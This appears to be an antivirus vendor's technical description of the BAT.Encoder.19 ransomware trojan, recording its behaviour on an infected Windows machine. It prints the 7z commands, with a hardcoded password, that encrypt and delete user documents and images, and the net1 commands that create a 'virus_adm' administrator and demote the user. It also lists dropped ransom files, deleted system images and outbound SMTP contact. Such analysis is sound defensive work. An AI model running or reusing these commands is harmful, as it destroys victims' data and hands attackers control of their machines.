BAT.Encoder.19

Technical Information

Malicious functions:

Creates and executes the following:

'%WINDIR%\7z.exe' a -pDfg13249+jIvl7409uyE7079 -sdel -tzip -mem=AES256 -mx0 c:\23571.zip c:\*.jpg -r
'%WINDIR%\7z.exe' a -pDfg13249+jIvl7409uyE7079 -sdel -tzip -mem=AES256 -mx0 c:\3458.zip c:\*.xls -r
'%WINDIR%\7z.exe' a -pDfg13249+jIvl7409uyE7079 -sdel -tzip -mem=AES256 -mx0 c:\4570.zip c:\*.xlsx -r
'%WINDIR%\7z.exe' a -pDfg13249+jIvl7409uyE7079 -sdel -tzip -mem=AES256 -mx0 c:\10916.zip c:\*.doc -r
'%WINDIR%\7z.exe' a -pDfg13249+jIvl7409uyE7079 -sdel -tzip -mem=AES256 -mx0 c:\14618.zip c:\*.docx -r
'%WINDIR%\7z.exe' a -pDfg13249+jIvl7409uyE7079 -sdel -tzip -mem=AES256 -mx0 c:\14572.zip c:\*.jpeg -r

Executes the following:

'<SYSTEM32>\net1.exe' localgroup Администраторы Virus_adm /add
'<SYSTEM32>\net1.exe' localgroup Администраторы %USERNAME% /delete
'<SYSTEM32>\net1.exe' localgroup Пользователи %USERNAME% /add
'<SYSTEM32>\net1.exe' user virus_adm Zdq17965+Ese18971 /add
'<SYSTEM32>\cmd.exe' /c ""%WINDIR%\up.cmd" "
'<SYSTEM32>\chcp.com' 1251
'<SYSTEM32>\cscript.exe' %WINDIR%\serv.js

Modifies file system :

Creates the following files:

%WINDIR%\Uninstall.ini
C:\inf.pl
%WINDIR%\Uninstall.exe
%HOMEPATH%\Desktop\rus_2014.pdf
%HOMEPATH%\Desktop\матем.PDF
C:\23571.zip
C:\3458.zip
C:\14572.zip
C:\10916.zip
C:\14618.zip
%WINDIR%\7z.exe
%WINDIR%\instrukcia.bmp
%WINDIR%\7z.dll
%TEMP%\$inst\2.tmp
%TEMP%\$inst\temp_0.tmp
%WINDIR%\up.cmd
%WINDIR%\cfg.ipsec
%WINDIR%\serv.js
%WINDIR%\oboi.bmp
%WINDIR%\oplata.url

Deletes the following files:

<SYSTEM32>\oobe\html\mouse\images\tyrol.jpg
<SYSTEM32>\oobe\html\mouse\images\praguem.jpg
<SYSTEM32>\oobe\html\mouse\images\venice.jpg
<SYSTEM32>\oobe\html\mouse\images\tyrolm.jpg
<SYSTEM32>\oobe\html\mouse\images\prague.jpg
<SYSTEM32>\oobe\html\mouse\images\parism.jpg
<SYSTEM32>\oobe\html\mouse\images\paris.jpg
<SYSTEM32>\oobe\html\mouse\images\pisam.jpg
<SYSTEM32>\oobe\html\mouse\images\pisa.jpg
<SYSTEM32>\oobe\html\mouse\images\venicem.jpg
<SYSTEM32>\oobe\images\mslogo.jpg
<SYSTEM32>\oobe\images\backup.jpg
<SYSTEM32>\oobe\images\newbtm8.jpg
<SYSTEM32>\oobe\images\newbtm1.jpg
<SYSTEM32>\oobe\images\backover.jpg
<SYSTEM32>\oobe\html\mouse\images\veronam.jpg
<SYSTEM32>\oobe\html\mouse\images\verona.jpg
<SYSTEM32>\oobe\images\backoff.jpg
<SYSTEM32>\oobe\images\backdown.jpg
%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\security_watermark.jpg
%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\help.jpg
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\ASPdotNET_logo.jpg
%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\topGradRepeat.jpg
%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\darkBlue_GRAD.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_playing_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_playing_big.jpg
%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\ASPdotNET_logo.jpg
%WINDIR%\Help\Tours\htmlTour\window_up.jpg
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\darkBlue_GRAD.jpg
<SYSTEM32>\oobe\html\mouse\images\bulzanom.jpg
<SYSTEM32>\oobe\html\mouse\images\bulzano.jpg
<SYSTEM32>\oobe\html\mouse\images\heidelbm.jpg
<SYSTEM32>\oobe\html\mouse\images\heidelb.jpg
%WINDIR%\pchealth\helpctr\System\sysinfo\graphics\greendot.jpg
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\security_watermark.jpg
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\help.jpg
%WINDIR%\pchealth\helpctr\System\DVDUpgrd\stripe.jpg
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\topGradRepeat.jpg
<SYSTEM32>\oobe\images\newmark1.jpg
%WINDIR%\Web\Wallpaper\Peace.jpg
%WINDIR%\Web\Wallpaper\Moon flower.jpg
%WINDIR%\Web\Wallpaper\Purple flower.jpg
%WINDIR%\Web\Wallpaper\Power.jpg
%WINDIR%\Web\Wallpaper\Home.jpg
%WINDIR%\Web\Wallpaper\Crystal.jpg
%WINDIR%\Web\Wallpaper\Azul.jpg
%WINDIR%\Web\Wallpaper\Friend.jpg
%WINDIR%\Web\Wallpaper\Follow.jpg
%WINDIR%\Web\Wallpaper\Radiance.jpg
%WINDIR%\Web\Wallpaper\Windows XP.jpg
%WINDIR%\Web\Wallpaper\Wind.jpg
<SYSTEM32>\config\systemprofile\Templates\excel4.xls
<SYSTEM32>\config\systemprofile\Templates\excel.xls
%WINDIR%\Web\Wallpaper\Vortec space.jpg
%WINDIR%\Web\Wallpaper\Ripple.jpg
%WINDIR%\Web\Wallpaper\Red moon desert.jpg
%WINDIR%\Web\Wallpaper\Tulips.jpg
%WINDIR%\Web\Wallpaper\Stonehenge.jpg
<SYSTEM32>\oobe\images\nextup.jpg
<SYSTEM32>\oobe\images\nextover.jpg
<SYSTEM32>\oobe\images\skipdown.jpg
<SYSTEM32>\oobe\images\oemcoa.jpg
<SYSTEM32>\oobe\images\nextoff.jpg
<SYSTEM32>\oobe\images\newtop1.jpg
<SYSTEM32>\oobe\images\newmark8.jpg
<SYSTEM32>\oobe\images\nextdown.jpg
<SYSTEM32>\oobe\images\newtop8.jpg
<SYSTEM32>\oobe\images\skipoff.jpg
<SYSTEM32>\oobe\images\wpatop.jpg
<SYSTEM32>\oobe\images\wpakey.jpg
%WINDIR%\Web\Wallpaper\Autumn.jpg
%WINDIR%\Web\Wallpaper\Ascent.jpg
<SYSTEM32>\oobe\images\wpaflag.jpg
<SYSTEM32>\oobe\images\skipup.jpg
<SYSTEM32>\oobe\images\skipover.jpg
<SYSTEM32>\oobe\images\wpabtm.jpg
<SYSTEM32>\oobe\images\wpaback.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_playing.jpg
%WINDIR%\Help\Tours\htmlTour\control_up.jpg
%WINDIR%\Help\Tours\htmlTour\connected_wizard_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\desktop_up.jpg
%WINDIR%\Help\Tours\htmlTour\desktop_screen_shot.jpg
%WINDIR%\Help\Tours\htmlTour\connected_wizard_big.jpg
%WINDIR%\Help\Tours\htmlTour\connected_networks_big.jpg
%WINDIR%\Help\Tours\htmlTour\connected_networks.jpg
%WINDIR%\Help\Tours\htmlTour\connected_wizard.jpg
%WINDIR%\Help\Tours\htmlTour\connected_networks_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\end_up.jpg
%WINDIR%\Help\Tours\htmlTour\img033a.jpg
%WINDIR%\Help\Tours\htmlTour\img033.jpg
%WINDIR%\Help\Tours\htmlTour\img040.jpg
%WINDIR%\Help\Tours\htmlTour\img034.jpg
%WINDIR%\Help\Tours\htmlTour\img014.jpg
%WINDIR%\Help\Tours\htmlTour\gradient.jpg
%WINDIR%\Help\Tours\htmlTour\folder_up.jpg
%WINDIR%\Help\Tours\htmlTour\img004b.jpg
%WINDIR%\Help\Tours\htmlTour\icon_up.jpg
%WINDIR%\Help\Tours\htmlTour\best_road_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\best_road_big.jpg
%WINDIR%\Help\Tours\htmlTour\best_robust_big.jpg
%WINDIR%\Help\Tours\htmlTour\best_robust.jpg
%WINDIR%\Help\Tours\htmlTour\best_road.jpg
%TEMP%\$inst\2.tmp
%TEMP%\$inst\temp_0.tmp
<SYSTEM32>\config\systemprofile\Templates\winword2.doc
<SYSTEM32>\config\systemprofile\Templates\winword.doc
%WINDIR%\Help\Tours\htmlTour\best_robust_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\connected_multiple.jpg
%WINDIR%\Help\Tours\htmlTour\connected_data_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\connected_multiple_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\connected_multiple_big.jpg
%WINDIR%\Help\Tours\htmlTour\connected_data_big.jpg
%WINDIR%\Help\Tours\htmlTour\best_secure_big.jpg
%WINDIR%\Help\Tours\htmlTour\best_secure.jpg
%WINDIR%\Help\Tours\htmlTour\connected_data.jpg
%WINDIR%\Help\Tours\htmlTour\best_secure_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\img046.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_easier_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_easier_big.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_faster_big.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_faster.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_easier.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_better.jpg
%WINDIR%\Help\Tours\htmlTour\read_icon.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_better_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_better_big.jpg
%WINDIR%\Help\Tours\htmlTour\safe_easy_faster_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_optimized.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_built_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_optimized_ghost.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_optimized_big.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_built_big.jpg
%WINDIR%\Help\Tours\htmlTour\taskbar_up.jpg
%WINDIR%\Help\Tours\htmlTour\start_up.jpg
%WINDIR%\Help\Tours\htmlTour\unlock_built.jpg
%WINDIR%\Help\Tours\htmlTour\ul_logo.jpg
%WINDIR%\Help\Tours\htmlTour\img103.jpg
%WINDIR%\Help\Tours\htmlTour\img100.jpg
%WINDIR%\Help\Tours\htmlTour\img110.jpg
%WINDIR%\Help\Tours\htmlTour\img109.jpg
%WINDIR%\Help\Tours\htmlTour\img089.jpg
%WINDIR%\Help\Tours\htmlTour\img068.jpg
%WINDIR%\Help\Tours\htmlTour\img060.jpg
%WINDIR%\Help\Tours\htmlTour\img074a.jpg
%WINDIR%\Help\Tours\htmlTour\img072.jpg
%WINDIR%\Help\Tours\htmlTour\img116.jpg
%WINDIR%\Help\Tours\htmlTour\logo.jpg
%WINDIR%\Help\Tours\htmlTour\intro_logo.jpg
%WINDIR%\Help\Tours\htmlTour\question_icon.jpg
%WINDIR%\Help\Tours\htmlTour\pen_icon.jpg
%WINDIR%\Help\Tours\htmlTour\img149.jpg
%WINDIR%\Help\Tours\htmlTour\img123.jpg
%WINDIR%\Help\Tours\htmlTour\img121.jpg
%WINDIR%\Help\Tours\htmlTour\img136.jpg
%WINDIR%\Help\Tours\htmlTour\img126.jpg

Network activity:

Connects to:

'94.##0.191.201':25

UDP:

DNS ASK sm##.mail.ru

Miscellaneous:

Searches for the following windows:

ClassName: 'Shell_TrayWnd' WindowName: '(null)'

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